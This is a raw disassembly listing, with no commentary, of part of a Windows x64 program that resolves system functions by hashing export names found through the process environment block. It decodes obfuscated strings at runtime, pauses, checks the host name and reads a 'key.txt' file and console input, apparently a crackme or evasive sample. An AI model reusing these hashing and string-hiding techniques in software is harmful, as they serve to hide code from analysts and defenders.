psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140016630
cmp r8d, 0x15
jge 0x140016770
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140016740
lea rcx, [rbp]
call r11
mov eax, dword [0x1400855b0]
mov dword [rsp + 0x64], eax
movzx eax, word [0x1400855b4]
mov word [rsp + 0x68], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x1400855b6]
mov byte [rsp + 0x64], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x65], 0x33
xor byte [rsp + 0x66], 0x34
xor byte [rsp + 0x67], 0x35
xor byte [rsp + 0x68], 0x36
xor byte [rsp + 0x69], 0x37
xor al, 0x38
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x64]
call fcn.1400019c0
lea rdx, [0x140002c50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016866
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016866
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016861
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016840
cmp r8d, 0x2fa62ca8
je 0x14001686b
test r9d, r9d
jne 0x140016820
mov rax, qword [rax]
jmp 0x1400167f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [0x1400855b8]
mov dword [rsp + 0x6c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016926
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016926
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140016921
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140016900
cmp r8d, 0x491e0a9c
je 0x14001692b
test r9d, r9d
jne 0x1400168e0
mov rax, qword [rax]
jmp 0x1400168b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r12d, 2
jl 0x1400169d5
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, r14d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400859e0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140085ba0]
movd xmm0, dword [rsp + 0x6c]
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
jmp 0x140016a10
lea r9, [rsp + 0x6c]
mov r8d, r15d
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400169e0
lea rcx, [rsp + 0x6c]
call r11
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x690]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [0x1400855c0]
mov qword [rbp - 0x78], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140016b90
cmp r12d, 2
jl 0x140016b4c
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movd xmm5, r14d
movdqa xmm2, xmmword [0x1400859c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400859e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
mov eax, dword [0x140085ba0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x78]
xorps xmm2, xmm1
movd dword [rbp - 0x78], xmm2
movdqa xmm3, xmmword [0x1400859d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400859e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x74]
xorps xmm2, xmm1
movd dword [rbp - 0x74], xmm2
jmp 0x140016b90
lea r9, [rbp - 0x78]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140016b60
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x690]
call fcn.140003010
nop
mov rax, qword [rbp + 0x690]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x690]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
jne 0x1400172cc
xor r8d, r8d
lea rdx, str.key.txt
lea rcx, [rbp + 0x1d0]
call fcn.1400014c0
nop
lea rcx, [rbp + 0x1d0]
call fcn.140009a90
movzx ebx, al
lea rcx, [rbp + 0x1d0]
call fcn.140004020
test bl, bl
je 0x140017e6b
lea rdx, [rbp + 0x510]
lea rcx, [rsp + 0x30]
call fcn.140004e70
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016cb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016cb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140016cb1
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140016c90
cmp r8d, 0xe76fb4aa
je 0x140016cbb
test r9d, r9d
jne 0x140016c70
mov rcx, qword [rcx]
jmp 0x140016c40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp byte [rsi + 0x14], 0
je 0x140016e60
mov r8d, r15d
cmp r12d, 2
jl 0x140016e24
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rsi
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140016d21
cmp r8d, 0x15
jge 0x140016e60
movsxd r9, r8d
add r9, rsi
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140016e30
mov rcx, rsi
call r11
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x4b0]
lea rcx, [rsp + 0x30]
call fcn.140004ed0
mov r10, rax
cmp byte [rax + 0x13], 0
je 0x140017010
mov r8d, r15d
cmp r12d, 2
jl 0x140016fd3
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140016ed0
cmp r8d, 0x14
jge 0x140017010
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140016fe0
mov rdx, r10
mov rcx, r11
call fcn.1400019c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400170a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400170a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400170a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140017080
cmp r8d, 0x2fa62ca8
je 0x1400170ab
test r9d, r9d
jne 0x140017060
mov rax, qword [rax]
jmp 0x140017030
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call fcn.140004ef0
mov r10, rax
cmp byte [rax + 7], 0
je 0x140017230
cmp r12d, 2
jl 0x1400171f1
movdqa xmm4, xmmword [0x140085c60]
movd xmm5, r13d
movd xmm6, r14d
movdqa xmm2, xmmword [0x1400859c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400859e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
mov eax, dword [0x140085ba0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400859d0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400859e0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x140017230
mov r9, r10
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140017200
mov rdx, r10
lea rcx, [rbp + 0x800]
call fcn.1400032d0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140003430
nop
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x330]
call fcn.14000ef50
mov rdx, rax
lea rcx, [rbp + 0x7e0]
call fcn.140004b90
lea rcx, [rbp + 0x330]
call fcn.140003fc0
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x310]
call fcn.1400031f0
mov rdx, rax
lea rcx, [0x1400b0800]
call fcn.14002bb00
cmp byte [0x1400b0a10], 0
jne 0x1400172b3
lea rcx, [rbp + 0x690]
call fcn.1400059d0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140003fc0
nop
lea rcx, [rbp + 0x800]
jmp 0x140017e66
mov rax, qword [rbp + 0x690]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x690]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
test al, al
je 0x140017e6b
movups xmm0, xmmword [0x140085600]
movups xmmword [rbp + 0x60], xmm0
mov eax, dword [0x140085610]
mov dword [rbp + 0x70], eax
movzx eax, byte [0x140085614]
mov byte [rbp + 0x74], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017396
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017396
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140017391
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140017370
cmp r8d, 0xe76fb4aa
je 0x14001739b
test r9d, r9d
jne 0x140017350
mov rax, qword [rax]
jmp 0x140017320
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r15d
cmp r12d, 2
jl 0x140017503
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x64]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140017400
cmp r8d, 0x15
jge 0x140017540
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140017510
lea rcx, [rbp + 0x60]
call r11
movups xmm0, xmmword [0x140085618]
movups xmmword [rbp + 0xc8], xmm0
movsd xmm0, qword [0x140085628]
movsd qword [rbp + 0xd8], xmm0
movzx eax, word [0x140085630]
mov word [rbp + 0xe0], ax
cmp byte [0x140085631], 0
je 0x140017710
mov r8d, r15d
cmp r12d, 2
jl 0x1400176d3
movdqa xmm5, xmmword [0x1400859c0]
movdqa xmm4, xmmword [0x140085c60]
movd xmm6, r13d
movdqa xmm7, xmmword [0x1400859e0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140085ba0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xcc]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140085a20]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400175d0
cmp r8d, 0x1a
jge 0x140017710
movsxd rax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400176e0
lea rdx, [rbp + 0xc8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400019c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c0], xmm0
movdqa xmm1, xmmword [0x1400859b0]
movdqu xmmword [rbp + 0x7d0], xmm1
mov byte [rbp + 0x7c0], 0
lea rdx, [rbp + 0x7c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001750
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x2f0]
call fcn.1400031f0
mov rdx, rax
lea rcx, [0x1400b0800]
call fcn.14002bb00
cmp byte [0x1400b0a10], 0
jne 0x140017df2
lea rdx, [rbp + 0x78]
lea rcx, [rsp + 0x30]
call fcn.140004f00
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017826
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017826
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140017821
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140017800
cmp r8d, 0x491e0a9c
je 0x14001782b
test r9d, r9d
jne 0x1400177e0
mov rax, qword [rax]
jmp 0x1400177b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp byte [rsi + 3], 0
je 0x140017920
cmp r12d, 2
jl 0x1400178db
movdqa xmm3, xmmword [0x1400859c0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140085c60]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140085c60]
